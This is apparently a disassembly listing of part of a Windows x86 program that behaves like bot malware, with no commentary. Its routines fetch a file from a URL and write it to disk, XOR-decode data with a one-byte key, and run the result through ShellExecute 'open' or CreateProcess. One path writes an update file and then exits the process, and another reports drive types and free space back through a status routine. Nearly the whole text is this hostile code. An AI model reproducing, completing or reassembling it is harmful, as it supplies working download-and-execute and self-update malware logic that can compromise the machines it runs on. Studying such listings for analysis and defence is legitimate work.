		push	esi
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2750000h
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		call	near ptr 26F0000h
		nop
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4CB6A4
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4CB66C
		cmp	eax, ebx
		jl	loc_41617C
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_41617C
		sub	[ebp+8], eax
		jnz	loc_41604A
		mov	edi, [ebp-18h]


loc_4160E7:				; CODE XREF: ___:0041603Fj
		push	dword ptr [ebp-8]
		nop
		call	near ptr 265092Ah
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_437BA8
		push	eax
		call	sub_41B886


loc_416120:				; CODE XREF: ___:00415FF7j
		add	esp, 14h


loc_416123:				; CODE XREF: ___:00416030j
		cmp	[ebp-50h], esi
		jnz	short loc_416148
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A73
		add	esp, 14h


loc_416148:				; CODE XREF: ___:00416126j
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_4151AD
		cmp	edi, esi
		pop	ecx
		jbe	short loc_416160
		push	edi
		call	dword_4CB6EC


loc_416160:				; CODE XREF: ___:00416157j
		push	dword ptr [ebp-1F8h]
		call	dword_4CB6EC
		push	dword ptr [ebp-58h]
		call	sub_40B413
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h


loc_41617C:				; CODE XREF: ___:004160CAj
					; ___:004160D5j
		push	esi
		mov	esi, offset dword_437B90
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A73
		push	esi
		call	sub_4151AD
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4CB6EC
		push	dword ptr [ebp-58h]
		call	sub_40B413
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h


loc_4161BD:				; DATA XREF: sub_401ACD+7B4o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		call	near ptr 26609FBh
		nop
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_429ACC
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 26F0781h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416247
		push	offset unk_437D0C
		jmp	short loc_41628D
; ---------------------------------------------------------------------------


loc_416247:				; CODE XREF: ___:0041623Ej
		push	eax
		nop
		call	near ptr 265092Ah
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41B4C2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_41626F
		push	offset unk_437CDC
		jmp	short loc_41628D
; ---------------------------------------------------------------------------


loc_41626F:				; CODE XREF: ___:00416266j
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415BD4
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_4162A0
		push	offset unk_437CBC


loc_41628D:				; CODE XREF: ___:00416245j
					; ___:0041626Dj
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_41639C
; ---------------------------------------------------------------------------


loc_4162A0:				; CODE XREF: ___:00416286j
		mov	esi, 1000h


loc_4162A5:				; CODE XREF: ___:0041630Bj
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB66C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41636C
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41630D
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41D2B4
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4CB650
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB6A4
		jmp	short loc_4162A5
; ---------------------------------------------------------------------------


loc_41630D:				; CODE XREF: ___:004162D5j
		lea	eax, [ebp-4C4h]
		push	offset dword_437B90
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A73
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AD
		push	dword ptr [ebp-4]
		call	sub_41B05B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4CB6EC
		push	dword ptr [ebp-1Ch]
		call	sub_40B413
		pop	ecx
		push	1
		call	near ptr 26D0000h
		nop


loc_41636C:				; CODE XREF: ___:004162CCj
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_437C90
		push	eax
		call	sub_41B886
		add	esp, 14h


loc_41639C:				; CODE XREF: ___:0041629Bj
		cmp	[ebp-14h], ebx
		jnz	short loc_4163C1
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A73
		add	esp, 14h


loc_4163C1:				; CODE XREF: ___:0041639Fj
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AD
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_4163DC
		push	dword ptr [ebp-4]
		call	sub_41B05B
		pop	ecx


loc_4163DC:				; CODE XREF: ___:004163D1j
		cmp	[ebp+8], ebx
		jbe	short loc_4163EA
		push	dword ptr [ebp+8]
		call	dword_4CB6EC


loc_4163EA:				; CODE XREF: ___:004163DFj
		push	dword ptr [ebp-1Ch]
		call	sub_40B413
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h


loc_4163FA:				; DATA XREF: sub_401ACD+627Ao
					; sub_401ACD+6ABAo
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4CB604
		call	dword_4CB558
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416886
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		nop
		call	near ptr 26F0781h
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_4164C1
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_437ED8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4164A4
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		add	esp, 14h


loc_4164A4:				; CODE XREF: ___:00416482j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		push	dword ptr [ebp-48h]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h


loc_4164C1:				; CODE XREF: ___:00416462j
		xor	edi, edi
		call	near ptr 268083Ah
		nop
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41B4D5
		pop	ecx
		mov	[ebp-1Ch], eax


loc_4164DB:				; CODE XREF: ___:004165AEj
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4CB560
		cmp	[ebp-34h], esi
		jz	short loc_41651F
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4168EC
		pop	ecx
		pop	ecx


loc_41651F:				; CODE XREF: ___:0041650Cj
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		nop
		call	near ptr 26E0000h
		cmp	edi, ebx
		jnb	short loc_41655D
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_416547
		mov	eax, [ebp+8]


loc_416547:				; CODE XREF: ___:00416542j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch


loc_41655D:				; CODE XREF: ___:00416539j
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_41656A
		cmp	edi, [ebp-3Ch]
		ja	short loc_4165B4


loc_41656A:				; CODE XREF: ___:00416563j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_416584
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437EB0
		jmp	short loc_416594
; ---------------------------------------------------------------------------


loc_416584:				; CODE XREF: ___:00416570j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437E88


loc_416594:				; CODE XREF: ___:00416582j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43E390
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_4164DB


loc_4165B4:				; CODE XREF: ___:00416568j
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_416609
		cmp	edi, [ebp-3Ch]
		jz	short loc_416609
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_437E5C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		add	esp, 28h


loc_416609:				; CODE XREF: ___:004165BEj
					; ___:004165C3j
		call	near ptr 268083Ah
		nop
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		nop
		call	near ptr 265092Ah
		push	dword ptr [ebp-1Ch]
		call	sub_41B0B1
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416693
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416693
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_437E34
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		add	esp, 28h


loc_416693:				; CODE XREF: ___:0041663Bj
					; ___:0041664Dj
		cmp	[ebp-14h], esi
		jz	loc_4168D3
		cmp	dword ptr [ebp-44h], 1
		jz	loc_41678E
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276A8
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276A8
		fstp	qword ptr [esp]
		push	offset unk_437DFC
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_41670E
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		add	esp, 14h


loc_41670E:				; CODE XREF: ___:004166ECj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_4168D3
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CB5C0
		cmp	[ebp-30h], esi
		jnz	loc_4168D3
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_437DE0
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		add	esp, 24h
		jmp	loc_4168D3
; ---------------------------------------------------------------------------


loc_41678E:				; CODE XREF: ___:004166A0j
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276A8
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276A8
		fstp	qword ptr [esp]
		push	offset unk_437D9C
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4167F6
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		add	esp, 14h


loc_4167F6:				; CODE XREF: ___:004167D4j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset dword_43D808
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		nop
		call	near ptr 2650BD4h
		cmp	eax, edi
		jnz	short loc_416878
		call	dword_4CB5AC
		call	sub_41835A
		push	esi
		nop
		call	near ptr 77E75CB5h


loc_416878:				; CODE XREF: ___:00416864j
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_437D68
		jmp	short loc_416892
; ---------------------------------------------------------------------------


loc_416886:				; CODE XREF: ___:0041643Fj
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437D3C


loc_416892:				; CODE XREF: ___:00416884j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4168C6
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		add	esp, 14h


loc_4168C6:				; CODE XREF: ___:004168A4j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_4168D3:				; CODE XREF: ___:00416696j
					; ___:0041671Fj ...
		push	dword ptr [ebp-18h]
		call	dword_4CB688
		push	dword ptr [ebp-48h]
		call	sub_40B413
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h

; =============== S U B	R O U T	I N E =======================================



sub_4168EC	proc near		; CODE XREF: ___:00416518p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416908


loc_4168F8:				; CODE XREF: sub_4168EC+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_4168F8

locret_416908:				; CODE XREF: sub_4168EC+Aj
		retn
sub_4168EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_416909	proc near		; CODE XREF: sub_401ACD+5842p
					; sub_401ACD+596Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41D3BE
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416909	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416923	proc near		; CODE XREF: sub_40F96B+458p
					; sub_40F96B+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D3288
		push	0
		push	edi
		call	sub_41B590
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_416948:				; CODE XREF: sub_416923+5Bj
					; sub_416923+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41D480
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41D410
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416986
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416948
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416948
; ---------------------------------------------------------------------------


loc_416986:				; CODE XREF: sub_416923+4Bj
		dec	esi
		mov	eax, edi


loc_416989:				; CODE XREF: sub_416923+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416998
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416989
; ---------------------------------------------------------------------------


loc_416998:				; CODE XREF: sub_416923+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416923	endp


; =============== S U B	R O U T	I N E =======================================



sub_4169A2	proc near		; CODE XREF: sub_416B57+51p
					; sub_416B57+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CB6B4
		sub	eax, 0
		jz	short loc_4169E5
		dec	eax
		jz	short loc_4169DF
		dec	eax
		dec	eax
		jz	short loc_4169D9
		dec	eax
		jz	short loc_4169D3
		dec	eax
		jz	short loc_4169CD
		dec	eax
		jz	short loc_4169C7
		mov	eax, offset word_437F2C
		retn
; ---------------------------------------------------------------------------


loc_4169C7:				; CODE XREF: sub_4169A2+1Dj
		mov	eax, offset off_437F28
		retn
; ---------------------------------------------------------------------------


loc_4169CD:				; CODE XREF: sub_4169A2+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_4169D3:				; CODE XREF: sub_4169A2+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_4169D9:				; CODE XREF: sub_4169A2+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_4169DF:				; CODE XREF: sub_4169A2+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_4169E5:				; CODE XREF: sub_4169A2+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_4169A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169EB	proc near		; CODE XREF: sub_416A33+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CB544
		test	eax, eax
		jz	short loc_416A20
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_416A20:				; CODE XREF: sub_4169EB+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4169EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A33	proc near		; CODE XREF: sub_416B57+17p
					; sub_41AA43+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4169EB
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B11
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B11
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B11
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		pop	ebx
		jmp	short loc_416B43
; ---------------------------------------------------------------------------


loc_416B11:				; CODE XREF: sub_416A33+2Cj
					; sub_416A33+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_416B43:				; CODE XREF: sub_416A33+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416A33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B57	proc near		; CODE XREF: sub_416C29+17p
					; sub_416C29+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416A33
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416BCA
		push	ebx
		push	ebx
		call	sub_4169A2
		pop	ecx
		push	eax
		push	offset unk_437F7C
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_416BFE
; ---------------------------------------------------------------------------


loc_416BCA:				; CODE XREF: sub_416B57+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_4169A2
		pop	ecx
		push	eax
		push	offset unk_437F40
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 20h


loc_416BFE:				; CODE XREF: sub_416B57+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_4151AD
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416B57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C29	proc near		; CODE XREF: sub_401ACD+2554p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416C4A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B57
		add	esp, 10h
		jmp	short loc_416CAB
; ---------------------------------------------------------------------------


loc_416C4A:				; CODE XREF: sub_416C29+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CB5BC
		lea	esi, [eax+2]
		push	esi
		call	sub_41B4D5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CB5BC
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_416CA2


loc_416C6E:				; CODE XREF: sub_416C29+77j
		push	offset off_437FB8
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416C91
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B57
		add	esp, 10h


loc_416C91:				; CODE XREF: sub_416C29+54j
		push	esi
		call	sub_41AFE0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_416C6E


loc_416CA2:				; CODE XREF: sub_416C29+43j
		push	edi
		call	sub_41B0B1
		pop	ecx
		pop	edi
		pop	esi


loc_416CAB:				; CODE XREF: sub_416C29+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416C29	endp

; ---------------------------------------------------------------------------
